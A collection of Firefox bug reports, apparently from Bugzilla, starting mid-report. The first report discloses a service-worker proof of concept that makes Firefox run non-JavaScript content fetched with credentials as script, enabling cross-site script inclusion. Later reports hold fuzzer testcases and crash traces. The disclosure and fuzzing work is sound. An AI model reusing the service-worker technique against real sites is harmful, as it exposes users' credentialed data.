In order to bypass this restriction, set up a service worker "proxy" layer. It will serve the content from a local cache. FF will execute the fetched content (despite the content-type which isn't application/javascript) This effectively opens up a class of vulnerabilities, the most notable that comes to my mind is XSSI (Cross Site Script Inclusion).
HTML Code:
<html><body>
<script>navigator.serviceWorker.register('sw.js');</script>
<script src='/intercept'></script>
</body></html>
-----------------------------------
SW Code:
self.addEventListener('fetch', (event) => {
const url = 'http://localhost:8081/aaaafffa.csv?11';
if(event.request.url.endsWith('/intercept'))
event.respondWith(
caches.match(event.request)
.then((response) => response ||
fetch(url, {
method : 'GET',
mode : 'no-cors',
credentials: 'include',
headers : {'Content-type':'application/x-www-form-urlencoded'}
})
)
.catch(() => caches.match('offline')),
);
});
Actual results:
JavaScript execution is possible - bypassing script inclusion security restrictions. (This allows a set of XSSI attacks)
Expected results:
JavaScript execution should be blocked due to mismatching MIME type
|
|
1,669,554 | 15,071,616 |
Created attachment 9179977
fission-crash-nightly-2020-10-06.mov
---
**System Information**
- macOS 10.15.6
- Nightly 83.0a1 (2020-10-06) (64-bit)
- Only affected when fission is enabled.
---
**Steps To Reproduce**
- Open google calendar.
- Select a zoom meeting.
- Click the **Join Zoom Meeting** link.
- Click the **Cancel** button on the pop-up in the new tab.
- Open the Print UI.
> (see attached video)
---
**Expected Behavior**
- The print UI opens.
---
**Actual Behavior**
- The tab crashes.
> The crash only occurs after navigating to the new tab from the calendar link. Clicking the back button to go back to the same page, closing the popup, and opening the print UI works as expected.
---
**Crash Report**
https://crash-stats.mozilla.org/report/index/049208b2-06cb-4853-90f1-42e2a0201006
---
**Regression Range**
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=f5cd69a7a0f4c639fc0eb041abeeaf06b398f006&tochange=713a1bb30a6dec7df47f9c31806fdfd368810e36
---
**Other Info**
Log snippet from local build
> ...
> [Child 27415, Main Thread] WARNING: Caller should supply a printer name.: file [widget/nsPrintSettingsService.cpp, line 863](https://searchfox.org/mozilla-central/rev/1a973762afcbc5066f73f1508b0c846872fe3952/widget/nsPrintSettingsService.cpp#863)
[Parent 27406, Main Thread] WARNING: 'aSource.Group() != aTarget.Group()', file [dom/ipc/ContentParent.cpp, line 3536](https://searchfox.org/mozilla-central/rev/1a973762afcbc5066f73f1508b0c846872fe3952/dom/ipc/ContentParent.cpp#3536)
>
> IPDL protocol error: Handler returned error code!
>
> ###!!! [Parent][DispatchAsyncMessage] Error: PContent::Msg_CloneDocumentTreeInto Processing error: message was deserialized, but the handler returned false (indicating failure)
>
> [Parent 27406, Main Thread] WARNING: IPC message discarded: actor cannot send: file [ipc/glue/ProtocolUtils.cpp, line 511](https://searchfox.org/mozilla-central/rev/1a973762afcbc5066f73f1508b0c846872fe3952/ipc/glue/ProtocolUtils.cpp#511)
>
> JavaScript error: [resource:///modules/ContentCrashHandlers.jsm, line 272](https://searchfox.org/mozilla-central/rev/1a973762afcbc5066f73f1508b0c846872fe3952/browser/modules/ContentCrashHandlers.jsm#272): TypeError: can't access property "getTabForBrowser", gBrowser is null
> ...
---
|
|
1,669,616 | 15,071,987 |
Created attachment 9180070
poc1.js
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Steps to reproduce:
The Following code results in an assertion error in a debug build of SpiderMonkey.
```
function blah() {
return 0;
if (true) {} 400n == "abc";
}
blah();
```
When parsing the above code the BigInt 400n is recognized sucessfully and a BigIntToken is emmited via TokenStreamSpecific<Unit, AnyCharsAccess>::bigIntLiteral.
However, before the BigInt is instantiated for the SciptThingsVector, we encounter a JSMSG_STMT_AFTER_RETURN warning which clears the TokenStream's charBuffer.
Because we emmited a BigInt Token when parsing, our CompilationStencil's bigIntData will tell us we have a BigInt, thus in js::frontend::EmitScriptThingsVector we'll hit the BigInt matcher which will attempt to create a new BigInt.
Because our charBuffer has been cleared though, it will be of length 0 causing us to hit the following assert:
MOZ_ASSERT(chars.length());
in BigInt::parseLiteral.
We didn't investigate what happens in a non-debug build. So I'm marking this as security just in case.
Found by a fuzzing project at UCSB by Chris Salls, Jake Corina, Chani Jindal
|
|
1,669,649 | 15,072,238 |
Created attachment 9180108
2020-10-06_14h26_55.png
Affected versions:
Nightly v83.0a1
Affected platforms:
Windows 10
Windows 7
Steps to reproduce:
1. Host or join a meeting
2. Allow the microphone and camera permissions and share the screen.
3. Click the "Mic"/"Camera"/"Share screen" icons from the tray.
Expected result:
The context menu should be displayed under the selected icons on the primary display if 2 displays are present.
Actual result:
The position of the context menu is displayed on the bottom of the tray on secondary display if 2 displays are present.
Regression range:
Feature implementation enhancement.
|
|
1,670,643 | 15,080,199 |
Created attachment 9181019
CloseWindow.gif
**Affected versions**
* Firefox 83.0a1 (BuildId:20201011093320)
**Affected platforms**
* Windows 10 64bit
* Ubuntu 18.04 64bit
* macOS 10.14
**Steps to reproduce**
1. Launch Firefox.
2. Open a new browser window (containing only 1 tab).
2. Within that tab open any random webpage.
3. Open the print preview.
4. Print the page.
**Expected result**
* The webpage is successfully printed and the browser window remains open.
**Actual result**
* The webpage is successfully printed but the browser window closes.
**Regression Window**
* This seems to be a regression
* Pushlog: https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=addad36eb103803cae31f952e3c87ff24dedabb8&tochange=b7af7385c980d6b13cbecbeddb552111d76c9017
* Potential Regressor: Bug 1669181
**Additional Information**
* [Suggested severity] S3
* Please note that I was not sure about the regression and I’ve run the regression twice using mozregression and it pointed out Bug 1669181 each time.
* Please note that in order to reproduce this issue the tab in question has to be the only tab opened in that particular browser window.
|
|
1,670,908 | 15,081,687 |
[Affected versions]:
83.0a1/20201012152719
[Affected platforms]:
Windows 10 Pro 64-bit
Ubuntu 16.04 LTS
macOS Catalina 10.15
[Prerequisites]:
Initiate the RTAMO flow and reach the onboarding page for several non-recommended add-ons, themes, language packs and dictionaries.
[Steps to reproduce]:
1. Reach the RTAMO first run page
2. Notice the onBoarading card will display a blank icon and placeholder text for the above mentioned supplements
3. Click on the “Add the Extension” blue button
4. Observe that nothing happens i.e. the installation process is not initiated
[Expected results]:
1. The onBoarding card should properly display the supplement icon and name
2. The installation process should initiate when clicking the “Add the Extension” blue button
[Actual results]:
Blank icons and placeholder text are displayed for the add-on icon and name.
The add-ons cannot be installed.
NOTES:
1. Recommended add-on icons and titles are properly displayed on the onBoarding card and they can be installed.
2. Several errors are displayed in the browser console when attempting to initiate the RTAMO flow from the mentioned supplements and install them (see attached screenshots).
|
|
1,671,122 | 15,083,469 |
Created attachment 9181508
screencast issue.gif
**Affected versions**
* 83.0a1
**Affected platforms**
* Windows 10
* MacOS 10.11
* Ubuntu 18.04
**Steps to reproduce**
1. Go to about:preferences#privacy
2. Select the Enable HTTPS-Only Mode in all windows option from HTTPS-Only Mode section
3. Click the option again
**Expected result**
* Nothing happens, the option remains selected
**Actual result**
* The option is deselected, the selection is moved to the Don’t enable HTTPS-Only Mode option
**Regression range**
* Not a regression, implemented with [1644152](https://bugzilla.mozilla.org/show_bug.cgi?id=1644152)
**Additional notes**
* Enable HTTPS-Only Mode in private windows only and Don’t enable HTTPS-Only Mode options triggered no response on the second click
**Suggested severity**
* S4
|
|
1,671,131 | 15,083,536 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Steps to reproduce:
this is related to 2020-10-12 83.01a version
alt-f / p
print dialouge comes up ok
Actual results:
click print no output
Expected results:
output should have printed
note backgraded to 2020-10-08 all working ok
|
|
1,671,379 | 15,085,163 |
Created attachment 9181755
sign in link is not working.gif
[Affected versions]:
- Firefox Beta 82.0;
[Affected Platforms]:
- Windows 10 x64;
- Windows 8.1 x32;
- Windows 7 x64;
[Prerequisites]:
- Have a new Firefox profile created.
- Have the [User.js](https://drive.google.com/file/d/1ci9BMCsHSr9uZlsYtAGovRF7jqM3SsBY/view?usp=sharing) saved in the profile folder before opening the profile. (Note there should only be 2 files in the folder, times.json and the user.js)
- Have the Terminal opened.
[Steps to reproduce]:
1. Dag and drop the Firefox.exe in the terminal and add the "--first-startup" argument at the end.
2. Press the "Enter" key and select the new FIrefox profile created in prerquisties.
3. From the about:wlecome page click the "Sign in" hiperlink.
4. Observe the behavior.
[Expected results]:
- The "Sign in to Firefox Sync" page is loaded.
[Actual results]:
- Nothing happens.
[Notes]:
- This issue is not reproducible when enrolled in the "treatment-deafult" branch,.
- This issue is not reproducible on the latest Nigntly 83.0a1 build with the deafult behavior.
- No errors are displayed in the browser console when clicking the "Sign in" link. Only the following message: "AboutWelcomeParent: Received content event: AWPage:TELEMETRY_EVENT AboutWelcomeParent.jsm:173".
- Unfortunatelly I didn't managed to enrolled in the experiment on Nightly 83.0a1. However, probably the issue will also reporduce on these builds. Considering this I will also set the flag to "affected" for 83. As soon as we will have the Beta 83 build availbable I will try to reproduce the issue and add a comment.
- Attached screen recording off the issue.
|
|
1,671,583 | 15,086,588 |
Bug 1651725 (?) caused a second test to fail.
central-as-beta simulation: https://treeherder.mozilla.org/#/jobs?repo=try&group_state=expanded&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel%2Crunnable&revision=0571d2a6280b405e499015bdbeb4ecd1ad12d696&selectedTaskRun=IdMLv1-eT6-SM32LeB0LCg.0
Failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=318817565&repo=try
TEST-UNEXPECTED-FAIL | wasm/jsapi/global/type.tentative.any.js | (args: "--dll /builds/worker/workspace/breakpad-tools/libbreakpadinjector.so --baseline-eager") | can't access property "value", myglobal.type is undefined [0.1 s]
|
|
1,671,649 | 15,086,877 |
Created attachment 9182034
cfr twice.gif
**[Affected versions]:**
- Firefox Beta RC 2 (Build ID: 20201014125134)
**[Affected Platforms]:**
- Windows 10 x64
- macOS 10.15
- Ubuntu 20 x64
**[Prerequisites]:**
- Have the latest Firefox Beta version installed and open.
**[Steps to reproduce]:**
1. Open a new tab.
2. Navigate to “time.com” and open an article to trigger the CFR recommendation.
3. Open a new tab.
4. Navigate to “time.com” and open the same article.
5. Observe the address bar of the second tab.
**[Expected result]:**
- The "Recommendation" button is NOT displayed in the right part of the "Address Bar" a second time.
**[Actual result]:**
- The "Recommendation" button is displayed in the right part of the "Address Bar".
**[Notes]:**
- Attached is a screen recording of the issue.
|
|
1,672,314 | 15,092,843 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Steps to reproduce:
Check Themes section of about:addons or Themes button in Customize Mode.
Actual results:
Cannot find Light or Dark themes.
Curiously they are not listed when I execute this in the Browser Console:
var tlist = AddonManager.getAddonsByTypes(["theme"]);
tlist.then((themes) => {console.log(themes.map(t => t.name));});
But they are physically present on
resource://builtin-themes/
Expected results:
Light and Dark themes should be available options. (They are in 83.0b2.)
|
|
1,672,432 | 15,093,579 |
**Note**
* All permissions are being removed when the Global Sharing Overlay window (Firefox - Sharing Indicator) is being closed.
**Affected versions**
* Nigtly v84.0a1
* Beta v83.0b2
**Affected platforms**
* Windows 7 and 10
**Steps to reproduce**
1. Host or join a meeting and share the Firefox window.
2. Close the Sharing Indicator window from the taskbar.
**Expected result**
* The permissions are not being removed. The call and sharing remain ongoing.
**Actual result**
* The microphone, camera and screen sharing permissions are being removed.
**Regression range**
* mozregression results:
2020-10-21T18:49:50.709000: INFO : Narrowed integration regression window from [a35461d1, c00b0b97] (3 builds) to [f6127ce5, c00b0b97] (2 builds) (~1 steps left)
2020-10-21T18:49:50.717000: DEBUG : Starting merge handling...
2020-10-21T18:49:50.717000: DEBUG : Using url: https://hg.mozilla.org/mozilla-central/json-pushes?changeset=c00b0b97ea6558d17a40a8750a6453e7d92e5136&full=1
2020-10-21T18:49:50.718000: DEBUG : redo: attempt 1/3
2020-10-21T18:49:50.718000: DEBUG : redo: retry: calling _default_get with args: ('https://hg.mozilla.org/mozilla-central/json-pushes?changeset=c00b0b97ea6558d17a40a8750a6453e7d92e5136&full=1',), kwargs: {}, attempt #1
2020-10-21T18:49:50.720000: DEBUG : urllib3.connectionpool: Resetting dropped connection: hg.mozilla.org
2020-10-21T18:49:51.890000: DEBUG : urllib3.connectionpool: https://hg.mozilla.org:443 "GET /mozilla-central/json-pushes?changeset=c00b0b97ea6558d17a40a8750a6453e7d92e5136&full=1 HTTP/1.1" 200 None
2020-10-21T18:49:51.951000: DEBUG : Found commit message:
Bug 1636423 - Enable SSE on Nightly. r=Honza
* then the bisection continued and I got:
2020-10-21T18:53:02.507000: INFO : Narrowed integration regression window from [a3bf7a21, b045b030] (3 builds) to [a3bf7a21, 400275fe] (2 builds) (~1 steps left)
2020-10-21T18:53:02.520000: DEBUG : Starting merge handling...
2020-10-21T18:53:02.520000: DEBUG : Using url: https://hg.mozilla.org/integration/autoland/json-pushes?changeset=400275fe8a1d99c74b9afc674aeb4ed307aeb7f4&full=1
2020-10-21T18:53:02.520000: DEBUG : redo: attempt 1/3
2020-10-21T18:53:02.520000: DEBUG : redo: retry: calling _default_get with args: ('https://hg.mozilla.org/integration/autoland/json-pushes?changeset=400275fe8a1d99c74b9afc674aeb4ed307aeb7f4&full=1',), kwargs: {}, attempt #1
2020-10-21T18:53:02.522000: DEBUG : urllib3.connectionpool: Resetting dropped connection: hg.mozilla.org
2020-10-21T18:53:03.914000: DEBUG : urllib3.connectionpool: https://hg.mozilla.org:443 "GET /integration/autoland/json-pushes?changeset=400275fe8a1d99c74b9afc674aeb4ed307aeb7f4&full=1 HTTP/1.1" 200 None
2020-10-21T18:53:03.958000: DEBUG : Found commit message:
Bug 1649032 - Add a test that ensures that we stop all streams if the WebRTC indicator is closed. r=pbz
Differential Revision: https://phabricator.services.mozilla.com/D82990
2020-10-21T18:53:03.958000: DEBUG : Did not find a branch, checking all integration branches
2020-10-21T18:53:03.960000: INFO : The bisection is done.
2020-10-21T18:53:03.961000: INFO : Stopped
**Additional notes**
* This issue does not occur on the MacOS platform because the Global Sharing Indicator window CANNOT be closed.
|
|
1,672,501 | 15,094,023 |
Crash report: https://crash-stats.mozilla.org/report/index/7a1d6852-5300-487c-bf88-d5fdc0201021
Top 6 frames of crashing thread:
```
0 mozglue.dll mozilla::baseprofiler::profiler_shutdown mozglue/baseprofiler/core/platform.cpp:2742
1 firefox.exe wmain toolkit/xre/nsWindowsWMain.cpp:131
2 firefox.exe __scrt_common_main_seh /builds/worker/workspace/obj-build/browser/app/f:/dd/vctools/crt/vcstartup/src/startup/exe_common.inl:288
3 kernel32.dll BaseThreadInitThunk
4 ntdll.dll __RtlUserThreadStart
5 ntdll.dll _RtlUserThreadStart
```
these crash reports with MOZ_CRASH Reason: ```MOZ_RELEASE_ASSERT(profiler_is_main_thread())``` from bug 1670954 are newly appearing in firefox 83.
|
|
1,672,625 | 15,094,580 |
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
Steps to reproduce:
Told Firefox to print a page in black and white:
1. Press Ctrl+P.
2. In the print overlay that appears, change ‘Colour mode’ from ‘Colour’ to ‘Black and white’. The print preview at the left changes all the coloured parts to greyscale.
3. Press the ‘Print’ button.
Actual results:
The web page appeared from my printer in colour.
Expected results:
It should've been in black and white.
This is my default printer on Ubuntu Mate: Canon MX475, using the official driver. Other applications print successfully in black and white, using the standard ‘Print’ dialog. As Firefox used to until recent, when the print preview window looked different to this and still used the system ‘Print' dialog.
|
|
1,673,026 | 15,097,310 |
sCurrentTaskSeqNo in the TaskController is used to assign a sequence number to all tasks created. However, it is not currently updated atomically so it is possible for two threads to create a task with the same sequence number. This could lead to some tasks not being inserted into the task graph and dropped since mMainThreadTasks will think they are identical.
|
|
1,673,217 | 15,098,560 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Steps to reproduce:
Visit https://www.johren.net/games/mgcm-en/play/ and wait until the game is loaded. You have to register an account to access the game.
Actual results:
Firefox used up all memory and the computer froze up.
Expected results:
It works fine with Firefox 82, Chrome, and Edge. Broken with Firefox Dev 83 and Nightly.
|
|
1,673,340 | 15,100,595 |
Created attachment 9183734
firefox-82.0-macOS-websocket.pcapng
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:82.0) Gecko/20100101 Firefox/82.0
Steps to reproduce:
System: macOS HighSierra v10.13.6 | macOS Catalina v10.15.3|v10.15.7
Send a PDF file of 6995388-bytes using websocket. The javascript app slices the PDF into 1MiB pieces inside a WebWorker, and each chunk was sent using this call: ws.send(Chunk);
Actual results:
The websocket server (listening on: ws://127.0.0.1:8081) is implemented in NodeJS received duplicate packets as you can see:
::: WebSocket server listening on: 8081
{ size: 6995388,
name: 'Domain-Specific_Languages_Made_Easy_v1.pdf',
type: 'application/pdf'}
received: 1048576 bytes | total: 1048576 (1.00 MiB) | sha256: 1fc6527de06c5847a1d9517654cafa527a96e1795b77d4db620a713de129dee0
received: 1048576 bytes | total: 2097152 (2.00 MiB) | sha256: 638fa126dc173ecaabc769313f4c04c8178ef64450d34bb5d31d7ae6c0922d38
received: 1048576 bytes | total: 3145728 (3.00 MiB) | sha256: 638fa126dc173ecaabc769313f4c04c8178ef64450d34bb5d31d7ae6c0922d38
received: 1048576 bytes | total: 4194304 (4.00 MiB) | sha256: 638fa126dc173ecaabc769313f4c04c8178ef64450d34bb5d31d7ae6c0922d38
received: 1048576 bytes | total: 5242880 (5.00 MiB) | sha256: 1d67206b183ee82653380c8533b1d87e23a0397b27eaf2d30b47edecceb40b0f
received: 1048576 bytes | total: 6291456 (6.00 MiB) | sha256: c0b5455a0faea2d40ae99128260d20f30487d4feee0ae7bae9f7423c99c8b494
received: 1048576 bytes | total: 7340032 (7.00 MiB) | sha256: c0b5455a0faea2d40ae99128260d20f30487d4feee0ae7bae9f7423c99c8b494
Furthermore, the server has recieved more data than expected (i.e. 7MiB instead of 6995388-Bytes).
To confirm the bug, a second websocket server was made in Python and experienced the same very issue.
Luckily, we were able to save all network traffic in PCAP format using Wireshark (enclosed).
Expected results:
Packets shouldn't be sent duplicated.
When using Firefox 81.0.2 (or the latest Chrome/Edge/Vivaldi and Safari), all packets are sent only once and everything behaves as expected.
|
|
1,673,429 | 15,101,364 |
Created attachment 9183799
orderbug.jpg
Topsites shows Duplicates and empty spaces and wrong order
when i try to re organize them
**settings**
bucket : main-preview
Dump: false
region: US
useremotesettings: true
**Tested on**
Windows10 64bit
**Firefox**
Nightly 84.0a1 and Beta 83.0b4
**Steps to Reproduce**
(see screenshot attached)
-launch firefox (beta or nightly)
- go to about:preferences#home and set row 3 for topsites
- open new tab
- Remove the reddit topsite
- Add new topsite "playstation" , "www.playstation.com" >IT gets added as 3rd position
- Move SONY topsite to first place > firefox moves sony to 3rd place
- Move SONY topsite to first place again > firefox makes first place empty
- Move empty 1st place to last position
**Expected result**
The order of the topsites should be what the user wants it to be without duplicates
being shown or without empty spaces.
**Actual result**
When i reorder the topsites i see empty spaces, or duplicates being shown
this seems to be intermitent. When i restart i see the sony topsite on the last position +1, with empty spaces,
and the playstation topsite on another position that was not the one that it showed previous to the restart
|
|
1,673,526 | 15,101,972 |
Created attachment 9183910
testcase.html
Testcase found while fuzzing mozilla-central rev b1a74943bc51 (built with --enable-debug).
Assertion failure: aTrack->GraphImpl() == GraphImpl(), at /builds/worker/checkouts/gecko/dom/media/MediaTrackGraph.cpp:2998
```
==1506437==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1fdd8778f2 bp 0x7ffce9342720 sp 0x7ffce93426d0 T1506437)
==1506437==The signal is caused by a WRITE memory access.
==1506437==Hint: address points to the zero page.
#0 0x7f1fdd8778f2 in mozilla::ProcessedMediaTrack::AllocateInputPort(mozilla::MediaTrack*, unsigned short, unsigned short) /builds/worker/checkouts/gecko/dom/media/MediaTrackGraph.cpp:2998:5
#1 0x7f1fddd6abff in mozilla::MediaPipelineTransmit::SetTrack(RefPtr<mozilla::dom::MediaStreamTrack>) /builds/worker/checkouts/gecko/dom/media/webrtc/transportbridge/MediaPipeline.cpp:1043:31
#2 0x7f1fddc6a7b0 in mozilla::TransceiverImpl::UpdateSendTrack(mozilla::dom::MediaStreamTrack*) /builds/worker/checkouts/gecko/dom/media/webrtc/jsapi/TransceiverImpl.cpp:182:29
#3 0x7f1fddc6a505 in mozilla::PeerConnectionImpl::ReplaceTrackNoRenegotiation(mozilla::TransceiverImpl&, mozilla::dom::MediaStreamTrack*) /builds/worker/checkouts/gecko/dom/media/webrtc/jsapi/PeerConnectionImpl.cpp:1835:30
#4 0x7f1fdc39a622 in ReplaceTrackNoRenegotiation /builds/worker/checkouts/gecko/dom/media/webrtc/jsapi/PeerConnectionImpl.h:291:10
#5 0x7f1fdc39a622 in mozilla::dom::PeerConnectionImpl_Binding::replaceTrackNoRenegotiation(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) /builds/worker/workspace/obj-build/dom/bindings/PeerConnectionImplBinding.cpp:588:24
#6 0x7f1fdd05a78a in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3229:13
#7 0x7f1fdffea001 in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:506:13
#8 0x7f1fdffe9718 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:598:12
#9 0x7f1fdffeb2e3 in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:663:10
#10 0x7f1fdffdf083 in CallFromStack /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:667:10
#11 0x7f1fdffdf083 in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3336:16
#12 0x7f1fdffd61f4 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:476:13
#13 0x7f1fdffe96e9 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:635:13
#14 0x7f1fdffeb2e3 in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:663:10
#15 0x7f1fdffeb51f in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:680:8
#16 0x7f1fe05d690b in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/jsapi.cpp:2829:10
#17 0x7f1fdc472b8e in mozilla::dom::RTCRtpSenderJSImpl::SetTrack(mozilla::dom::MediaStreamTrack*, mozilla::ErrorResult&, JS::Realm*) /builds/worker/workspace/obj-build/dom/bindings/RTCRtpSenderBinding.cpp:3435:8
#18 0x7f1fdc4e631b in SetTrack /builds/worker/workspace/obj-build/dom/bindings/RTCRtpSenderBinding.cpp:3757:17
#19 0x7f1fdc4e631b in mozilla::dom::RTCRtpSender_Binding::setTrack(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) /builds/worker/workspace/obj-build/dom/bindings/RTCRtpSenderBinding.cpp:2451:24
#20 0x7f1fdd05a78a in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3229:13
#21 0x7f1fdffea001 in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:506:13
#22 0x7f1fdffe9718 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:598:12
#23 0x7f1fdffeb2e3 in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:663:10
#24 0x7f1fdffdf083 in CallFromStack /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:667:10
#25 0x7f1fdffdf083 in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3336:16
#26 0x7f1fdffd61f4 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:476:13
#27 0x7f1fdffe96e9 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:635:13
#28 0x7f1fdffeb2e3 in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:663:10
#29 0x7f1fdffeb51f in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:680:8
#30 0x7f1fe05d690b in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/jsapi.cpp:2829:10
#31 0x7f1fdc44ad93 in mozilla::dom::RTCPeerConnectionJSImpl::AddTrack(mozilla::dom::MediaStreamTrack&, nsTArray<mozilla::OwningNonNull<mozilla::DOMMediaStream> > const&, mozilla::ErrorResult&, JS::Realm*) /builds/worker/workspace/obj-build/dom/bindings/RTCPeerConnectionBinding.cpp:7480:8
#32 0x7f1fdc4cb0ef in AddTrack /builds/worker/workspace/obj-build/dom/bindings/RTCPeerConnectionBinding.cpp:10000:17
#33 0x7f1fdc4cb0ef in mozilla::dom::RTCPeerConnection_Binding::addTrack(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) /builds/worker/workspace/obj-build/dom/bindings/RTCPeerConnectionBinding.cpp:3592:79
#34 0x7f1fdd05a78a in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3229:13
#35 0x7f1fdffea001 in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:506:13
#36 0x7f1fdffe9718 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:598:12
#37 0x7f1fdffeb2e3 in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:663:10
#38 0x7f1fdffdf083 in CallFromStack /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:667:10
#39 0x7f1fdffdf083 in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3336:16
#40 0x7f1fdffd61f4 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:476:13
#41 0x7f1fdffe96e9 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:635:13
#42 0x7f1fdffeb2e3 in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:663:10
#43 0x7f1fe09b5365 in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/jit/BaselineIC.cpp:2997:10
#44 0x123ef89b3582 (<unknown module>)
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /builds/worker/checkouts/gecko/dom/media/MediaTrackGraph.cpp:2998:5 in mozilla::ProcessedMediaTrack::AllocateInputPort(mozilla::MediaTrack*, unsigned short, unsigned short)
```
|
|
1,673,567 | 15,102,388 |
Crash report: https://crash-stats.mozilla.org/report/index/57164b49-9ced-4a88-8ba2-38c750201027
Reason: ```EXCEPTION_ACCESS_VIOLATION_WRITE```
Top 10 frames of crashing thread:
```
0 xul.dll js::GlobalHelperThreadState::finishParseTaskCommon js/src/vm/HelperThreads.cpp:1918
1 xul.dll js::GlobalHelperThreadState::finishSingleParseTask js/src/vm/HelperThreads.cpp:2039
2 xul.dll nsJSUtils::ExecutionContext::JoinDecode dom/base/nsJSUtils.cpp:299
3 xul.dll mozilla::dom::ScriptLoader::EvaluateScript dom/script/ScriptLoader.cpp:2937
4 xul.dll mozilla::dom::ScriptLoader::ProcessRequest dom/script/ScriptLoader.cpp:2535
